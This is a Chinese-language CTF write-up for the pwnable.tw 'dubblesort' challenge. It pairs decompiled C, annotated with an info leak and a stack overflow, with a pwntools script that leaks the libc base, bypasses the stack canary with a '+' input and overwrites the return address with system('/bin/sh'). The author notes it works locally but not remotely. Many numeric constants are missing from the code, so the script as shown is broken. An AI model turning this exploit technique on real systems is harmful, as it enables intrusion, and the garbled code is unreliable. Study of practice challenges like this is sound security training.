pwnable.tw dubblesort

（留坑，远程没打成功）

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int t_num_count; // eax
  int *num_stack; // edi
  unsigned int input_count; // esi
  unsigned int output_ptr; // esi
  int v7; // ST08_4
  int result; // eax
  unsigned int num_count; // [esp+18h] [ebp-74h]
  int v10; // [esp+1Ch] [ebp-70h]
  char buf; // [esp+3Ch] [ebp-50h]
  unsigned int v12; // [esp+7Ch] [ebp-10h]
 
  v12 = __readgsdword(0x14u);
  sub_8B5();
  __printf_chk(, "What your name :");
  read(, &buf, 0x40u);
  __printf_chk(, "Hello %s,How many numbers do you what to sort :");// 栈空间未初始化为0，printf时\x00截断，导致栈空间信息泄露
  __isoc99_scanf("%u", &num_count);
  t_num_count = num_count;
  if ( num_count )
  {
    num_stack = &v10;
    input_count = ;
    do
    {
      __printf_chk(, "Enter the %d number : ");
      fflush(stdout);
      __isoc99_scanf("%u", num_stack);
      ++input_count;
      t_num_count = num_count;
      ++num_stack;
    }
    while ( num_count > input_count );
  }                                             // ebp-0x70读入num_count个数,栈溢出
  sub_931((unsigned int *)&v10, t_num_count);   // 冒泡，升序
  puts("Result :");
  if ( num_count )
  {
    output_ptr = ;
    do
    {
      v7 = *(&v10 + output_ptr);
      __printf_chk(, "%u ");                   // canary最低位为00，这里偏移24覆盖为\x00可以leak canary
      ++output_ptr;
    }
    while ( num_count > output_ptr );
  }
  result = ;
  if ( __readgsdword(0x14u) != v12 )
    sub_BA0();
  return result;
}

#! /usr/bin/env python
# -*- coding: utf- -*-
 
from pwn import *
 
context.log_level='DEBUG'
 
'''
r=remote('chall.pwnable.tw',)
libc=ELF('./libc_32.so.6')
'''
 
r=process('./dubblesort')
libc=ELF('/lib32/libc-2.27.so')
 
'''
r=process('./dubblesort',env={"LD_PRELOAD":"/root/pwnable.tw/dubblesort/libc_32.so.6"})
libc=ELF('./libc_32.so.6')
'''
 
#leak libc_base
r.recvuntil('What your name :')
r.sendline('a'*)
r.recvuntil('\n')
#libc_base=u32('\x00'+r.recv())-0x1D2CD0
libc_base=u32('\x00'+r.recv())-0x1D5000    #本地(我就TM奇他喵了个咪的怪了，本地能打远程就不行？
success('libc_base:'+hex(libc_base))
 
sys_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
#binsh_addr=libc_base+0x168e8b
success('sys_addr:'+hex(sys_addr))
success('binsh_addr:'+hex(binsh_addr))
 
'''
0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
 
one_gadget=libc_base+0x5f066
success('one_gadget addr:'+hex(one_gadget))
'''
 
#gdb.attach(r)
 
#r.recvuntil('How many numbers do you what to sort :')
r.sendline('')
 
for i in range(,):
    r.recvuntil(':')
    r.sendline(str(i))
 
#bypass canary
r.recvuntil(':')
r.sendline('+')    #,canary
 
for i in range(,):
    r.recvuntil(':')
    r.sendline(str(sys_addr))
 
for i in range(,):
    r.recvuntil(':')
    r.sendline(str(binsh_addr))
 
r.interactive()

本地能打成功，远程可能是给的libc没有找到'/bin/sh'（？直接在libc里找libc.search('/bin/sh').next()是可以找到的，但是在IDA同样的位置找到的并不是db类型的字符串常量'/bin/sh'，此处留坑），one_gadget试了下也没成功